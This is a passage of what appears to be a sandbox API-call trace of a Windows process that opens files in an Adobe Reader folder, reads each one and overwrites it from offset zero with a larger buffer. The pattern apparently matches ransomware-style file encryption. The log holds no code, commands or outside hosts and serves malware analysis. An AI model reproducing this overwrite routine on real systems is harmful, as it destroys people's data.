dwFlags=0x0, lpWideCharStr="server_issue.gif", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="server_issue.gif", lpUsedDefaultChar=0x0) returned 16 [0042.192] ReadFile (in: hFile=0x1a8, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x340f2bc*=0x240, lpOverlapped=0x0) returned 1 [0042.193] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.193] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7c8, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7c8, lpOverlapped=0x0) returned 1 [0042.193] CloseHandle (hObject=0x1a8) returned 1 [0042.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.193] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.193] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x33f [0042.194] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.194] ReleaseMutex (hMutex=0x128) returned 1 [0042.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0042.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInAcrobat.gif", cchWideChar=31, lpMultiByteStr=0x1e7fd2c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInAcrobat.gif", lpUsedDefaultChar=0x0) returned 31 [0042.194] ReadFile (in: hFile=0x1a8, lpBuffer=0x2750828, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x340f2bc*=0x33f, lpOverlapped=0x0) returned 1 [0042.622] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.622] WriteFile (in: hFile=0x1a8, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8c7, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x8c7, lpOverlapped=0x0) returned 1 [0042.622] CloseHandle (hObject=0x1a8) returned 1 [0042.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.625] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.625] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x17b8 [0042.625] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.625] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.625] ReleaseMutex (hMutex=0x128) returned 1 [0042.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeJ.htm", cchWideChar=11, lpMultiByteStr=0x1e633ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeJ.htm", lpUsedDefaultChar=0x0) returned 11 [0042.631] ReadFile (in: hFile=0x1a8, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x17b8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x340f2bc*=0x17b8, lpOverlapped=0x0) returned 1 [0042.668] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0042.668] WriteFile (in: hFile=0x1a8, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x340f2d0*=0x1d40, lpOverlapped=0x0) returned 1 [0042.668] CloseHandle (hObject=0x1a8) returned 1 [0042.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemingstd-light.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0042.669] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.669] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x9b3508 [0042.669] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0042.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.669] ReleaseMutex (hMutex=0x128) returned 1 [0042.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0042.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeMingStd-Light.otf", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeMingStd-Light.otf", lpUsedDefaultChar=0x0) returned 22 [0042.669] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.671] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.672] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.673] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.674] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.675] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.676] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef20000 [0043.013] Sleep (dwMilliseconds=0x0) [0043.679] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.679] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x340f23c, dwLength=0x1c | out: lpBuffer=0x340f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0043.679] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee20000 [0043.686] VirtualFree (lpAddress=0x7ef20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0043.690] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0043.691] ReadFile (in: hFile=0x1a8, lpBuffer=0x3a36dc8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a36dc8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0043.691] VirtualQuery (in: lpAddress=0x7eea0000, lpBuffer=0x340f23c, dwLength=0x1c | out: lpBuffer=0x340f23c*(BaseAddress=0x7eea0000, AllocationBase=0x7eea0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0043.691] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed80000 [0043.703] ReadFile (in: hFile=0x1a8, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0044.457] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9b1508 [0044.459] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef10000 [0044.464] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x340f258, dwLength=0x1c | out: lpBuffer=0x340f258*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0044.464] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ecf0000 [0044.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.479] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V", lpFilePart=0x340f690*="90msp-RKSJ-V") returned 0x43 [0044.479] GetLastError () returned 0x5 [0044.479] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.479] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.479] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.479] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.479] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.480] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.480] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v")) returned 0x20 [0044.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.480] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4", lpFilePart=0x340f690*="Adobe-CNS1-4") returned 0x43 [0044.480] GetLastError () returned 0x5 [0044.480] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.480] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.480] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.480] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.480] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.481] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.481] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4")) returned 0x20 [0044.481] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.481] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2", lpFilePart=0x340f690*="Adobe-GB1-2") returned 0x42 [0044.481] GetLastError () returned 0x5 [0044.481] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.481] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.481] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.481] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.481] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.481] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.481] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-2")) returned 0x20 [0044.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.482] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0", lpFilePart=0x340f690*="Adobe-Japan1-0") returned 0x45 [0044.482] GetLastError () returned 0x5 [0044.482] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.482] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.482] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.482] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.482] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.482] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.482] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-0")) returned 0x20 [0044.482] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.483] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host", lpFilePart=0x340f690*="Adobe-Japan1-H-Host") returned 0x4a [0044.483] GetLastError () returned 0x5 [0044.483] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.483] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.483] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.483] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.483] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.483] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.483] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-h-host")) returned 0x20 [0044.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscpc-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.483] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC", lpFilePart=0x340f690*="Adobe-Korea1-KSCpc-EUC") returned 0x4d [0044.483] GetLastError () returned 0x5 [0044.483] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.484] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.484] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.484] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.484] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.484] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.484] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscpc-euc")) returned 0x20 [0044.484] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V", lpFilePart=0x340f690*="ETen-B5-V") returned 0x40 [0044.484] GetLastError () returned 0x5 [0044.484] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.484] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.484] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.484] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.485] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.485] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.485] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v")) returned 0x20 [0044.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V", lpFilePart=0x340f690*="GB-EUC-V") returned 0x3f [0044.485] GetLastError () returned 0x5 [0044.485] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0044.485] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.485] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.485] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0044.485] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0044.486] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, 